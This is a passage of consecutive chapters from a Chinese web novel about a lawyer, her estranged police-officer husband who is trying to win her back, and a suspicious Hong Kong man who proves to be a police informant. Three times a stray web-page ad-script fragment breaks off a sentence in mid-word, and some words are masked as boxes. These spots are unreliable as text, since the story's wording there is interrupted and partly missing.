果然,关昊懵懂的鼻音从那头传来:“嗯?” “鲈鱼汤是专门收伤口的,你的伤好得怎么样了?”林茜柔和地问道。 关昊心里更委屈了。这是自从林茜走后,第一次关心他的伤口。 那隔一阵才传出一声的啜泣忽然变得密集起来,仿佛对面的人破罐子破摔,也不想再掩饰什么了。 林茜这这头静静地听着,陪伴关昊释放情绪。 过了很久,才听到关昊浓重的鼻音:“你在哪啊,我去找你吧。” “我还在杭州啊。”林茜无奈地说。 “那我也去。” “明天我就回去了。” “那好吧,”关昊不情愿地说:“几点的飞机,我去接你。” “我这次是和助理一起出差的,回去直接去律所处理一些事情。关昊,你也要上班的,别任性。”这声音温柔坚定,让人不敢违逆。 “那……你忙完了能第一时间告诉我吗?”关昊小声地问。 这样小心翼翼的关昊,林茜从没见过。 “好。” “茜茜,明天见。”像是怕林茜反悔,关昊急忙说了再见。 挂断电话后,林茜心里五味杂陈,不知怎么又想起了上次被袭击的那个案件。 工作是工作,生活是生活。林茜一直这么告诫自己,可女客户自嘲的话又出现在脑海里:“他第一次哭的时候,我是真心软了。结果还是走到这一步,我平白多搭了五年。” 关昊不知道妻子此时在想什么,放下电话的他像一只雏鸟,满屋寻找林茜的踪迹。 梳妆台空了,只有第一节抽屉里并排放着两个熟悉的精致盒子。 关昊打开左边那个,里面是一枚婚戒。右边的也是,只是尺寸大一些。 眼睛胀痛,心也开始疼了。 拉开衣柜,属于林茜的那一半已经空了。 进到洗手间,林茜的毛巾、洗漱用品全都不见了。关昊的用品摆在中间。 好像这里从来就只有他一个人。 28. 第 28 章 关昊没想到,自己的专业技能有一天会用在家里,来搜寻老婆的痕迹。 经过地毯式的搜索,关昊最后在林茜那边的床头柜下找到一个小小的记事本。 林茜有段时间要在睡前戒断手机,就在床头放了一个记事本,用来记录第二天要做的事。后来自然是失败了,记事本也不知所踪。 关昊抹了抹上面的灰尘,小心打开,林茜娟秀的字迹出现在眼前。 “明天去海淀会见当事人。” “这个案子的家属有隐瞒,潜在风险,要谨慎。” “葱没有了,明天记得买上。” “关昊最近脾气好大。” “年假没批,我什么时候才能去漠河看极光啊?” “又挨骂了,周末去找老姚喝酒。” “客户终于出来啦,他女儿写了卡片感谢我,嘻嘻~” “明天有大单咨询,争取拿下新客户,业绩up!”旁边还画了一只活灵活现的拳头。 关昊忍不住露出微笑,林茜总是这么优秀。 她想去漠河吗?怎么没听她提过,不对,有一点印象的。 关昊看了眼页面,每一页的右下角都被林茜写了日期。 都是三年前的事了。 结婚第一年啊,那时候自己在忙什么呢,怎么都没注意到林茜的心愿? 关昊努力回忆着,那时候老队长还没退休,自己跟着他天天办案子,不知疲惫。 关昊看着“关昊最近脾气好大”那一页,想起来了,那时候正在办一起集资诈骗案,牵连众多,光是走访询问受害人就花了半个月的时间。 又看到林茜说的挨骂了去找老姚喝酒,那时候自己在处理一起高利转贷案,连续两周没休。 想看极光是什么时候呢?好像没办什么具体的案子,关昊左思右想,最后想起来,是自己平时忙,就希望为数不多的假期多陪陪家人,要带父母一起去旅游。漠河太冷了,不适合老人去,所以他否决了。 想到这,心里有些酸涩。 自己欠林茜的实在太多了。 关昊慢慢躺下,枕着林茜的枕头,把记事本贴在胸前,珍而重之,就像抱住了当年的妻子。 第二天一早,关昊又找出了他的墨镜,戴着上班去了。 “关哥,您这……墨镜挺好看哈。”小王到底没敢问出来,这回又是怎么了,怎么最近老挨打呀? 关昊倒宁愿是挨了打,总比哭得眼睛肿了不能见人要好一点。 小王下意识往李莉那看了一眼,那趟内蒙之旅所获不多,没能从关昊身上挖出什么料来,不过本着为师父分忧的原则,还是把观察和推论都化名为一个朋友的故事,咨询了李莉。 李莉原本对小王爱答不理的,也没说出个四五六来,倒是今天鬼使神差接收到了小王的讯号,忽然就想起了小王嘴里那个朋友。 都爱戴墨镜?都突然爱戴墨镜? 天下哪有这么巧的事,女人的第六感告诉她,一定是关昊。关队长遇到什么麻烦了? 想到这,李莉的目光明显带上了担忧。 这些眉眼官司关昊都没看到,科长叫关昊过去。 “小关啊,我知道你私底下一直在查余琛的事,不用查了。”科长开门见山。 关昊今天戴着墨镜,显得颇为冷峻严肃。也没等关昊问,科长主动解释:“香港那边传来消息,余琛没问题,是警方安插的线人。” “线人?”这个答案完全出乎关昊的意料。 “对。原本我也有意见,为个线人查那么久,这不浪费我们警力吗?不过那边好好解释了,说余琛和香港的一个高级督查有些渊源,是在他的游说下,余琛最近才同意当线人的。而且,马天成原来在的□□,已经被警方清除了。这里面,也有余琛一份功劳。” 关昊一时之间有些难以接受:“可是,他躲避跟踪的手法那么娴熟,还有他身边的人,不是也有好几个是□□的吗?他是不是隐藏得太深了?” “马天成死了以后,洪兴就一直盯着余琛,他反追踪是家常便饭了。至于他拳馆里那几个人,香港那边都核实过了,没什么可疑的。现在唯一不清楚的,还是赃款的下落。不过,据香港透露的消息,余琛和马天成相处的时间也很短,也许他真的不知道赃款的去向。” “马天成死前最后见到的人是余琛,如果他想安排这笔钱,这是最后的机会。他老婆孩子带到温哥华的钱都可以查出踪迹,说明他没把钱放在家人那里,那就一定在余琛那。”关昊还是笃定之前的推论。 即便他是线人,他的手也未必干净。 科长看着这个年轻的骨干,眼里流露出几分欣赏:“分析得很有道理,可是办案子要讲证据。余琛回香港四年,除了和洪兴有些牵扯,其他都正常。如果他用过这笔钱,不管是警方还是洪兴多少会察觉到。可惜都没有。” 不过,科长也没完全否认关昊:“如果他真的手握巨款还能沉住气这么久,那他一定是个极其危险的人物。” 余琛线人的身份做实,在关昊眼里的危险等级却提升了。 关昊从科长的办公室里出来,考虑着要不要去趟长治。当时打听到日租房老板的去向后就要走一趟的,却被后面的诸多事耽搁了。余琛身上还有谜团,这么危险的人物,不能让他呆在林茜身边。 可茜茜今天回来,自己如果不在,机会就更渺茫了。 关昊皱着眉头回到了自己的工位。 李莉觑着空过来了,放下一杯茶,“关队,新到的铁观音,你尝尝。” “哦,谢谢啊,放这吧。”没有要喝的意思。 李莉看了眼斜对面的小王,小王鼓励的眼神很明显:没挖出消息来,别轻易走啊! “那个,关队,最近秋燥,你是不是上火了呀,我看你嘴角都起皮了。”李莉只能硬着头皮没话找话。 “有吗?”关昊抿了抿唇,好像是有点扎。 想到今天要见林茜,关昊问:“那有什么办法吗?” “就多喝点水呗。”李莉指了指茶杯,顺着问道:“不过有时候事多了吧,也容易着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 急上火。关队你是不是有什么烦心事啊?” “嗯,是有一件,跟你打听一下。”关昊接话了。 小王耳朵都尖起来了,恨自己不能隐身直接蹲在当事人旁边听。 “就是那个,你们女孩平常晚上喝多了水,第二天水肿,一般都怎么处理啊?”关昊尽量自然地问道。 “啊?哦,就冷敷一下,实在来不及也没事,一般下午就消了。”李莉怎么也没想到是这么个神转折。 “行,那我回头告诉我老婆。她昨天喝了点酒,今天眼睛肿了,早上正烦心呢。”关昊在心里默默地给林茜道了个歉,然后直接扣到了林茜头上。 “是,喝完酒最容易水肿了,诶?关队你怎么在屋里也戴着墨镜啊,你不会也水肿了吧?”李莉看到关昊的墨镜,忽然有了这么个猜想。 “聪明的小脑袋瓜净放在这些边角料上,快忙正事去吧。”关昊见要露馅赶紧把人打发走了。 上午没什么在办的案子,都是些整理卷宗,报销贴票之类的琐碎活儿,中午吃完饭,关昊又晃到科长办公室,请了半天假。 科长也知道关昊是个坐不住的性子,看他胳膊上的伤还没好利索,调笑道:“行,忙你自己的事去吧,把你拘在这不定又要立什么大功!” “得嘞,科长!” 关昊想着守株待兔不如主动出击,直接去了林茜的律所。 午休刚结束,小蓝和苏杭面前各自摆了一杯啵啵芋泥和草莓酪酪,隐藏在前台后面。苏杭见来人了,先起来打招呼:“先生您好,请问您有预约吗?” “林茜在吗?”关昊问道。 直呼大名?来者不善啊,苏杭在心里下了判断,面上仍然和气:“在的,请问您和林律师有预约吗?” “没有,她现在忙吗?” 这是什么问题?苏杭心里犯嘀咕,继续问道:“你是有什么事要咨询林律师吗?可以先填个单子,把情况和问题简单列一下,我进去看看林律师有没有时间,如果她没空,也会安排其他律师给您的。” 小蓝在旁边看着,越瞅越眼熟,感觉也有点熟悉,林律师的客户里有这一号人吗? “哦!”小蓝忽然想起来了,那个压迫感极强的男人!林律师老公! 苏杭被小蓝这一声吓了一跳:“你怎么了?” 小蓝也站起来,讪讪地说:“我没记错的话,您是林律师老公吧?林律师今天刚出差回来,您是不是来接她的?”越说越觉得靠谱,要不怎么一来就问她忙不忙,平常客户谁问这个! 关昊见终于有个认识的,虽然自己一点印象也没有,高兴道:“对,等她忙完我接她回去。” 小蓝这时已经调整好表情,换上一副标准的笑容:“好的,您在休息区坐一会,我这就去通知林律师。” 苏杭把关昊引到休息区的沙发上,又递过一杯茶,转身回来时和小蓝擦肩而过。 两人交换一个眼神:有瓜吃啦! 一分钟后,林茜从成摞的卷宗中抬起头来,诧异地问:“关昊来了?” 29. 第 29 章 林茜活动了一下僵硬的肩颈,深呼一口气,来到了休息区。 “你怎么来了?” “我来接你回家。你忙完没?没忙完不用着急,我在这等着就行。”关昊目光炯炯地说。 来律所之前,他专门在一楼的洗手间里照了照,眼睛已经恢复正常了,墨镜也就收起来,整整衣领,心里默默给自己点了个赞。关昊对自己的外表还是颇有自信的,来单位接媳妇儿,保证不给她丢面子! 林茜这个人呢,有个奇怪的特点,不喜欢把私生活暴露在工作场合,总觉得工作是工作,生活是生活,要彻底分开。就像每年元旦律所开年会,个别年长的合伙人会带着孩子过来热闹热闹,林茜却一次也没带过关昊。 关昊也从没问过。 此刻人来人往,时不时有律师外出办事,又或有客户来咨询,斜对面还坐着两个门神假装不经意地往这边投来目光,林茜觉得后背轰的一下就热起来了。 有些烦躁。 但专业律师从不在人前显露情绪,她的语气一如往昔:“这边人多,我带你去楼下的咖啡厅吧。” 关昊却不在意地说:“没事,这儿就挺好。你们单位的环境挺不错的,诶,能参观吗?我好像还没好好看过。”关昊自从重新追起林茜后,对她身边的一切都感到好奇。 “有的同事正在会客,不方便,下次吧。楼下有一款新出的海盐芝士拿铁,你可以尝一下。还有几样甜品不错,我有时候会当下午茶。” 话都说到这份儿上了,关昊就是木头也知道要请老婆吃下午茶了,麻溜起身给林茜开道。 两人一前一后出了律所的玻璃门,林茜总感觉背后有几道视线盯着自己,直到进了电梯才消失。 “哎哎哎,你刚听清没?”小蓝看着林律师走了,迫不及待地问。 “听清了,不说吃下午茶去吗?”苏杭犹豫着,暂时没说出心里的想法。 “我怎么感觉是着急把人带走呢?”小蓝嘀咕。 “有没有可能是小别胜新婚?毕竟出差好几天了。”苏杭试探道。 “林律师?不会吧。我觉得她爱工作胜过爱老公。你没见情人节她都在加班吗?” “也对,那就还有一个可能。林律师不想让大家知道她老公。”苏杭说出心里的猜测。 “我也这么感觉……其实长得也挺好看的,就是老让人害怕。你说打拳的大佬都没这么吓人呢!”小蓝小声八卦着。 “大佬还知道带下午茶给我们,大哥只能在老婆的提点下才知道去吃下午茶,啧啧,世界的参差。” “那我还站大佬。” “我也。” 两人在前台下面小小击了一下掌,Givemefive~ 关昊不知道自己已经被默默嫌弃了一回,高兴地跟着林茜到了咖啡厅,到吧台点单:“两倍海盐芝士拿铁,茜茜,你想吃什么?” “一杯海盐芝士拿铁,一杯冰美式。我先不吃了。”林茜纠正道。 “你不是说这的甜品不错吗?”关昊奇道。 “也不是每天都吃的,会胖。” “不胖,好看。”关昊看着老婆由衷地说。 林茜一阵尴尬。 “林小姐,您的餐到那边取。” “好的,谢谢。”店员的话适时出现,拯救了林茜。 工作时间咖啡厅人不多,两杯咖啡很快就好了。关昊接过餐盘,忽然想起什么:“你可以喝冰的吗?”林茜的生理期是不是快到了。 店员又飘过来一句:“林小姐一直喝冰美式的。”只有冬天例外,喝热美式,但不告诉你,店员腹诽。这个男人老盯着林小姐,奇奇怪怪的。 林茜看了眼做咖啡的妹妹,微笑着点点头,和关昊找了个清净的位置坐下了。 “她认识你?”关昊问。 “嗯,经常来,店员就记住我了。” “哦。”关昊心大,问了一句就过去了,又想起刚刚担心的事:“你是不是姨妈快来了?喝凉的没事吗?” 他是担心这个? 林茜的耳朵有点红:“没事。” 关昊对生活上的事一向粗心,唯独她的生理期记得清楚。因为刚上班时林茜有次连轴加班,免疫力下降感冒了,又撞到生理期,真是屋漏偏逢连夜雨,躺在沙发上疼得直冒冷汗,把关昊吓坏了,从此牢牢记住林茜的生理期。 不过生理期不是一成不变的,有时提前几天,有时错后几天,几年下来,已经和当年偏差得很远了。 关昊记住的还是当年的日子。 至亲至疏夫妻。 林茜心里一声叹息。 关昊察觉到林茜的情绪有些下落,以为是出差太累了,关切道:“出差回来也没休息,累了吧?” “我还好,事情及时处理,后面就轻松很多。你的胳膊怎么样了?” “我啊,没事了。最近科里不忙,科长让我好好休息。你呢?今年的年假还没休吧,有什么打算吗?”关昊还记着那个去漠河的心愿。 “年假……还没想好。”其实升了合伙人之后,她的时间自由多了,休假不用再和所里申请,只要安排好手里的工作就行。 “那可以先想想嘛,比如有什么想去的地方之类的。这几年除了每年单位组织团建,你还没有专门出去旅过游呢。有什么想去的地方吗,秋天的草原挺漂亮的,或者冬天去漠河看极光?” “最近可能抽不出时间,下半年的开庭要比上半年密集一些,法院也要赶结案率的。真的休假可能要等12月以后了。极光就不用了,我去年看过了。”林茜听了关昊的话,认真答道。 “去年?在哪看的?”关昊怎么不知道。 “就律所组织的团建啊,去年去的贝加尔湖和摩尔曼斯克,我们运气好等到了极光,我还发了朋友圈。我带回去的鱼子酱和伏特加就是从那买的呀。” 关昊拿出手机点开林茜的朋友圈,仅半年可见。 完了,自己之前都在干什么啊。 关昊抓了抓头,有些懊恼。 林茜看着关昊,感觉莫名其妙:“怎么想起问这个,你想去旅游了吗?” 关昊是北京孩子,可能是受父母影响,除了办案平常不爱出门,总觉得哪儿都没有北京好。 “是,我也几年没出去玩过了,想听听你的建议。”关昊给自己找了个台阶下。 “天气慢慢冷了,你要带着老人的话,往南走会好一点吧。” “不带老人,就咱俩。”关昊急忙说。 “你和我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?”林茜诧异。 “是,”关昊也不绕圈子了:“茜茜,我知道以前我做的不好,对你太疏忽,让你失望了。是我的错,是我活该。但就算我罪大恶极,就算你判我死刑,能不能也给我个缓期执行的机会?能不能别这么快动手?” 话说到这份儿上,已经是关昊的极限了。林茜明白。 “好。你想怎么样呢?”林茜问道。 关昊看有一点希望了,也不敢逼迫林茜,“我也不强迫你跟我回去,你想在老姚那住就住着,但能不能让我偶尔联系你,看不到你,我也很惦念你。” “我没在老姚那,已经搬家了。新租的房子就在这附近。你有事的话可以随时给我发消息,但不要像今天这样突然跑过来,我经常外出,你很容易扑空。”林茜对这样好说话的关昊感到一丝意外,不过能顺畅沟通的感觉还是不错的。 “你搬家了?搬到哪儿去了?怎么没告诉我?” 质疑的声音一出口,关昊也意识到了,别扭地缓和道:“我是担心你,你和老姚住一起,彼此还有个照应。现在你自己住,要是出事了怎么办?我赶过去都来不及!” “你认识我之前,我就是自己住的。”林茜平静地说。 “那不一样!”关昊有些烦躁,又说不过林茜。 刚刚沟通良好的样子仿佛是场错觉,林茜沉默着,端起咖啡喝了一口,好苦。 林茜不说话的时候,通常是关昊先低头,这次也没例外。毕竟林茜已经搬进去了,让她反悔也不太可能。 关昊气呼呼喝了一大口拿铁,接受了这个事实:“那至少把你的地址给我吧。有什么事我也好过去。” 林茜拿出手机快速打字:“发给你了。” “你……什么时候搬过去的?”关昊看着地址在心里复盘,自己去内蒙之前她还住在老姚家里,这周一她就出差了,中间只隔了四天的时间,难道一早就开始找房子了?她一开始就没想过回去? “上周末。”林茜含混地答着,注意力被一张图片吸引。 余琛发来的图片。 是一组黑胡桃色的边柜,三层,既可以做零食柜,也可以做杂志架。样品图上还放了绿植和南瓜灯。 林茜一看就很喜欢,甚至可以想象晚上歪在沙发上,开着柔和的黄色南瓜灯,随手抽出一本书,或者拆开一袋零食的惬意画面。 余琛接着发来消息:朋友的店,看到这组柜子很适合你的新家,喜欢吗? 林茜回道:喜欢,品味真棒!店是在香港吗? 余琛:北京也有分店,过几天我回去,带你一起去看。 林茜回了个扑腾着翅膀道谢的大鹅表情包。 关昊看林茜拿着手机看得认真,以为她在处理工作。等她放下后才问道:“一回来就这么忙吗?晚上想吃什么,我带你去!” 林茜婉拒了,从杭州扫描回来的笔录还没看完,稍后还要和当事人家属通个电话,以及每季度的合伙人业绩又开始统计了,自己还得加把劲儿。 晚餐?和助理吃工作餐吧,吃完继续加班。 到了9点多,林茜提着包从一楼电梯里出来,看到一个颀长的身影倚在大理石墙面上。 关昊也看到了林茜:“下班啦,我送你回家。” 30. 第 30 章 林茜得承认,看到关昊的那一刻,是有一点感动的。关昊是个急脾气,除了对工作有耐心,对其他的事都是能省事则省事,多一秒钟都是浪费。 这几个小时,不知道他怎么过的。 “你吃饭了吗?”林茜眨着干涩的眼睛问道。 “吃过了,喏——”关昊指了指林茜下午带他去的咖啡厅,“就在那吃的,那个店员不是跟你很熟吗,我正好尝了尝你平常爱吃的几样,好吃是好吃,就是不怎么管饱。”说着揉了揉肚子。 林茜被逗笑了。 关昊看到林茜的笑容,好像一个冷漠疲惫的壳子突然裂开了一道缝隙,露出里面惊人的光彩。 关昊心里升腾起一股莫名的能量,这比任何锦旗和嘉奖都更让他心动。 车子开到林茜楼下,林茜送客:“我就住在这个单元,302。时间也不早了,你回去休息吧,路上小心。” “茜茜,”关昊不想就这么和林茜分开,绞尽脑汁找留下的理由:“我……肚子饿了!你能不能做点吃的给我啊,什么都行。” “我刚出差回来,家里没什么菜了。” 关昊听到这一句,头已经垂了下来,他确实肚子饿了,比肚子更空的是自己的心,没想到林茜接着又说:“用番茄罐头做的西红柿鸡蛋面,你可以吗?” 就像学生忽然听到放假,社畜骤然拿到奖金,关昊的眼里瞬间又有了神采。 乖乖跟在老婆后面上了楼,还贴心地提醒林茜小心脚下。 进门后林茜打开鞋柜,拿出拖鞋给自己和关昊。关昊眼尖地发现,里面还有两双拖鞋,其中一双明显是女士的,而另一双似乎是男士的。 “你这怎么这么多拖鞋啊?”关昊装作不经意地问。 林茜本想直说是搬家那天给来帮忙的朋友买的,话到嘴边变成了:“帮父母准备的。”关昊这么敏感,一定会问起余琛,算了,多一事不如少一事吧。 “这怎么有两双男士的呢?”关昊把换下来的鞋放进鞋柜,顺着问道。 “那双鞋号买小了,后来又买了一双。”林茜面不改色地回答。 关昊心里闪过一个怀疑,自己穿的这双,对老丈人来说是不是也大了一点?但是鞋柜那双尺码明显要小一些,也不是老丈人的尺寸,余琛更穿不下。 关昊按下疑惑,和林茜进了客厅。 林茜从冰箱里拿出一瓶水给关昊:“你先坐一下,面很快就好。”说着进了卧室,出来时已经换上家居服,一边绑头发一边进了厨房。 葱花炝锅的香气传来,之后是罐头打开的声音,关昊鬼使神差进了林茜的卧室。 这是个一居的房子,客厅不大,卧室更小。拉开衣柜,挂了几身熟悉的西装,是林茜常穿的;旁边还叠着几件休闲服。 很整洁,没什么男人用的东西。 床头柜上放了一个保温杯,一盏台灯,还有一本扣上的书,看封皮是本游记。 还说没有想去的地方?关昊在心里默默地打趣。但他没去看林茜想去什么地方,他心里还有更重要的一件事。 关昊屏住呼吸,拉开床头柜的抽屉,仔仔细细翻检了一遍,又小心地复归原位。 还好,没有小雨伞。 关上抽屉后关昊又觉得自己可笑,到底在怀疑什么,怎么不信林茜呢? 抽油烟机的轰隆声消失了,意味着面要出锅了。关昊轻轻地走出卧室,带上房门。 林茜端着面出来时就看到关昊在客厅里溜达。 关昊打量着客厅:“这个房子不大,你怎么没租个宽敞一点的呢?”他知道以林茜的收入可以住更好的房子。 “一个人住,这里足够了。空间大了收拾起来也麻烦。”林茜放下碗,招呼关昊过来吃饭。 关昊平常不做家务,对收拾没什么概念。闻到面的香气,感觉更饿了,狼吞虎咽吃起来,烫的龇牙咧嘴。 林茜的厨艺其实一般,这也是经常被婆婆诟病的地方。倒也不是做饭难吃,只是她工作忙,把时间花在做饭上她觉得不值,平常做的多是些快手菜。 这在婆婆眼里,就成了懒惰和不思进取。每次她们回关昊爸妈那里,关妈都要把林茜叫进厨房,剥蒜洗菜打下手,还要好好学习关昊爱吃的各种菜的做法。 林茜都是左耳进右耳出。有这个时间去找老姚喝个下午茶不好吗? 吃完饭之后一家人的锅碗瓢盆都由林茜收拾。林茜曾经提出给家里买个洗碗机,婆婆大惊小怪地说:“机器哪有人刷的干净!这么点活儿都干不得啊?” 林茜只好不了了之。 每去一次回来,比开庭还累。 所幸关昊不挑食,林茜做什么他吃什么。只用在公婆那糊弄一下就行。 面吃完了,关昊打了一个饱嗝,露出一脸满足。可惜这回没理由再赖在这里了,关昊终于恋恋不舍地离开了林茜家。 临走前,关昊不死心地问:“周末真的没有时间吗?” “一天加班,半天开合伙人季度会,还有半天约了健身。”林茜面无表情地回答,关上房门。 其实加班只要半天就够了。不过健身倒是真的,何广生已经找好了教练,周六上午林茜去试一节体验课。 林茜很喜欢在周六上午健身,这大概是健身房最清净的时候,毕竟上班族忙了一周,都要在这个时候睡个懒觉。 来到拳馆,前台旁边的休息区已经坐了一个女教练,看到林茜来了,站起来自我介绍:“您就是林小姐吧?我是安娜,何总监安排的教练。” 和安娜练拳的体验感不错,安娜是女孩子,不用担心身体接触有什么不自然。她人也很细心,观察林茜力竭后就让她休息几分钟,节奏控制地很好。 也许是有段时间没运动了,突然开始泰拳这样高强度的运动,林茜很快就汗湿了,课程进行到后半段,安娜让她多休息一会,自己去给林茜拿水。 “小姐你的水。”面前伸过一只手,端着一次性纸杯。 林茜顺着看过去,是一个黑瘦的男人,穿着教练的衣服,眼睛和颧骨都有点凸,看起来不好惹的样子。 “谢谢。”林茜接过水放在桌上,没有要喝的意思。 “小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐第一次来吗?”这个男人也没有要走的意思。 “对。” “听总监说,你是老板的朋友?” 听到这,林茜觉出一点不对劲,这个教练的普通话太生硬了,像是从另一个语言体系硬转过来的。在北京的服务场所,已经很少遇到这样的人。 倒是有点像……当年的余琛? 安娜拿着瓶装水走过来,看到雷劲在和林茜说话,也很诧异,雷劲这个人不是从来不主动和人聊天吗? 雷劲看到来人了就走开了。林茜的疑惑更浓,问安娜:“他也是你们这的教练吗?” “对啊,上个月新来的,茂名人。他说话的口音重,有时候我也听不懂,他平常也不怎么说话。总监给过他几个客户,都没留住,要是三个月还不出业绩,估计留下就悬了。”安娜自来熟,就着雷劲和林茜聊了起来。 茂名……广东人,难怪和余琛的口音像。 余琛昨天发来消息,说周日就回来了。想到这,林茜好像开心了一点。 西九龙重案组,本来是休息日,但洪兴的犯人刚刚带回香港,在港的余众也一网打尽。案子正在紧锣密鼓地审理,大家都不得休息。 毒枭听到风声已经逃回了缅甸。但余琛涉险把辣蛇引出后,他的马仔也一网打尽。阿Ken因为伤重不治,最后还是死在了他老大手里。 辣蛇一时沉默一时癫狂。他之前已经进去了5年,这次恐怕不会再轻易出来。洪兴几乎全军覆没,再想复起也是难如登天。 一败涂地。 不过……他还有一张底牌。 审讯室外,余琛提了两打新出炉的蛋挞和几杯咖啡来看大家。 西九龙的警察对余琛都印象颇好,虽然市民帮助警察捉拿案犯是义务,但能亲自涉险做到这个地步的也不多了。这次多亏了余琛。 余琛和大家打过招呼,找到昌叔,问出了自己担心:“之前说辣蛇的人去了内地,找到没有?” 昌叔对余琛也没隐瞒:“问过这些马仔了,辣蛇只是提过要派人去内地,但没有指派具体的人。洪兴的人,都在这里了。也许他只是虚晃一枪。但是有个跟了辣蛇很久的马仔提到过,辣蛇身边除了阿Ken,还有一个很信任的人,是他在监狱里认识的,不怎么和洪兴的人混。” “这个人在哪?”余琛紧张地问。 “已经在排查了,辣蛇服刑5年,转过两次监狱,接触过的犯人太多了,我们需要时间。” *** 拳课上完,出了几身透汗,人也神清气爽。林茜买下100节课,赞安娜专业,顺道也夸了何广生眼光好。 “最重要的是林律师你满意嘛!”何广生笑嘻嘻地说。 先定下课程,这样老大和林律师就可以时时见面了!自己为老大真是鞠躬尽瘁啊! 何广生心里已经把自己列成了大哥大嫂情路上的第一功臣,以后吃席要坐主桌的那种! 一直把林茜送出门,何广生心情颇好地回了办公室。一双眼睛从休息区饮水机的斜后方看过来,盯着林茜远去的背影眨了眨。 31. 第 31 章 关昊这周末没什么事要忙,周六上午起来,看了看空荡荡的家里,决定去长治走一趟。余琛的事,还是得查下去。 没想到临出门,接到了岳母的电话。 原来林妈今年体检查出肺结节,县医院的医生建议手术。林妈上了年纪不愿意开刀,就想去北京的大医院再复查一次。 本来是联系林茜的,可林茜的电话一直打不通,就打到了关昊这里。 关昊想林茜这两天事多,主动担起陪岳母看病的责任。放下电话立马联系了自己当医生的朋友,找呼吸内科最好的医院挂了个专家号。 林妈接到关昊的回复时又感动又有些不好意思:“诶呦人年纪大了添毛病,麻烦你们了。你们也都挺忙的。” 关昊大大咧咧:“妈,您说这个可就见外了。这不都是我们应该的么。” 林妈在那头舒心地笑了笑:“茜茜后来电话打通了,说下午要回来,还说你得加班来不了了,我说不用。都挺忙的,也不是什么急症,又不痛不痒的,不用跑这一趟。” 林茜要回去? 关昊立马说:“嗨,我那中午就能忙完了,下午和茜茜一起回去。妈,我也想您做的红烧肉了。” “哎,哎,好,晚上做给你们吃。”林妈笑眯眯地说。 放下电话关昊立刻打给林茜:“你下午要回爸妈那啊?一起吧,我也好久没见爸妈了。” 林茜没想到关昊消息这么快:“不用了,妈现在没什么不舒服的,我就是回去看看她。” “我都答应妈了,说晚上要吃她做的红烧肉呢,要是不回去,妈希望落空,多难受啊。再说,我已经联系好了专家号,正好把挂号信息让妈存一下,到时候我陪着她去。” 林茜因为上拳课把手机锁在了柜子里,想不到短短一个小时关昊已经做了这么多事,没办法再拒绝他。 回到林家,岳母看女婿更顺眼了些。 林茜和关昊常穿的拖鞋整整齐齐摆在玄关处。关昊灵机一动,把脚伸向了旁边一双明显旧一些的拖鞋。 “哎,那是你爸的,关昊穿这双。”林妈留意到关昊穿错了鞋,赶忙说。 “哦,好。”关昊换上自己的拖鞋,心底的怀疑又浮了上来。 林爸的拖鞋至少比自己小两个号,在林茜家穿的那双,一定不是林爸的。 通常人买错鞋号,也只是买错相近的,林茜家里那两双男士拖鞋,明显差了几个号码,林茜这么细心的人,怎么会犯这种错误? 她在说谎。 她为了谁说谎? 关昊1米87,穿46码。对比着自己的身量,和自己相似的人。 一个名字呼之欲出。 关昊心里藏了事,晚饭就有些心不在焉。 林茜已经打定主意离婚,对关昊热络不起来,太冷了又要被林妈念叨,索性少说少错。一顿饭吃的不咸不淡。 林妈见女儿女婿兴致都不高,以为是工作太忙了累的,又担心是不是自己的事耽误她们了,心里也有些惴惴。 唯有林爸不动如山,大口吃肉,大口喝汤,尽享林妈厨艺。 不过林爸也有一点小小的遗憾。关昊的烧伤还没好利索,林茜不准他喝酒。所以林爸这次又没有酒喝,愤愤地只能化酒瘾为食欲。 饭后林茜和林妈到厨房洗碗,关昊陪着岳父在客厅喝茶。 林妈旧事重提:“你们也该要个孩子了……” 林茜不耐烦:“人干嘛非要生孩子?” 林妈:“不生孩子你老了怎么办?人哪有不生孩子的?你看哪个女的不生孩子?” 林茜想到林妈刚查出肺病,也许是死亡焦虑投射到了自己身上,耐着性子解释:“律所每个季度业绩大排名,从第一到倒数第一清清楚楚。我升合伙人四个月,现在排名倒数第二。” 还是从倒数第一升上来的,毕竟一升合伙人,之前的业绩都清零,一切从头开始。 “那不还有个倒数第一吗?你也不是最后一名啊。”林妈油盐不进。 “怎么我上学的时候你要求没这么低呢?”林茜气笑了。 “那时候要求低你能有今天吗?什么年纪干什么事,你该学习的时候学习,该婚育的年纪就得婚育。女人的最佳生育年龄是28到32,你眼瞅着都过了一半了!”林妈教育道。 “28到32,人最年富力强的时候,干什么不是最佳年龄?”林茜反问。 “你这就是强词夺理了,以后你成了大龄产妇,落下一身病,你就老实了。” “你也知道生孩子容易落下一身病,你还逼着我生。”林茜这时候也不讲什么道理了,开始启用在大学辩论队养成的技能,不服就反唇相讥。 “我这不是为了你好吗?你不生孩子,以后老了怎么办?” 得,又回到开头。 林茜有时候怀疑人是不是什么高等生物写好的代码,一提到女人年龄自动触发催生技能。 碗洗好了,林茜又抱着电脑去了书房,处理下午本该完成的工作。 客厅传来一阵阵惊呼声,关着门听不清楚,却能感受到气氛的热烈。 也不知道爸妈和关昊聊什么这么开心,总归不能是生孩子,林茜在心里吐槽。 正想着房门被拧开了,林妈招呼林茜出去吃水果,仿佛刚刚的争执没发生过。 林茜合上电脑走出来,就看见林爸正拿着关昊的手机离远了看。老花眼,离远了看得清楚一点。 “看什么呢,爸?” “哎,快来快来,这是人孩子刚给关昊发的照片。你看这小姑娘长得多可爱。” 林茜拿过手机,看到一个小女孩,七八岁的样子,小麦色的皮肤,牙齿雪白,一双眼睛又大又黑,笑着对镜头比耶。 关昊解释道:“就是我之前去内蒙救得那个小孩。呛了烟也住了几天院,昨天出院了。她妈妈是警局的同事,加了我的微信,刚给我发孩子照片,说没事了。” 这倒是好事,大难不死,必有后福,林茜也夸了句:“这孩子长得是灵。” 关昊点着屏幕往左划了划:“还有一张,这是当时在医院小王给我拍的。小孩儿吓坏了,抱着我不撒手,你看。” 一个被烟熏得黢黑的小孩,紧紧抱着关昊的胳膊,眼里全是惊恐。关昊的外套裹在孩子身上,右臂明显是烧伤了。 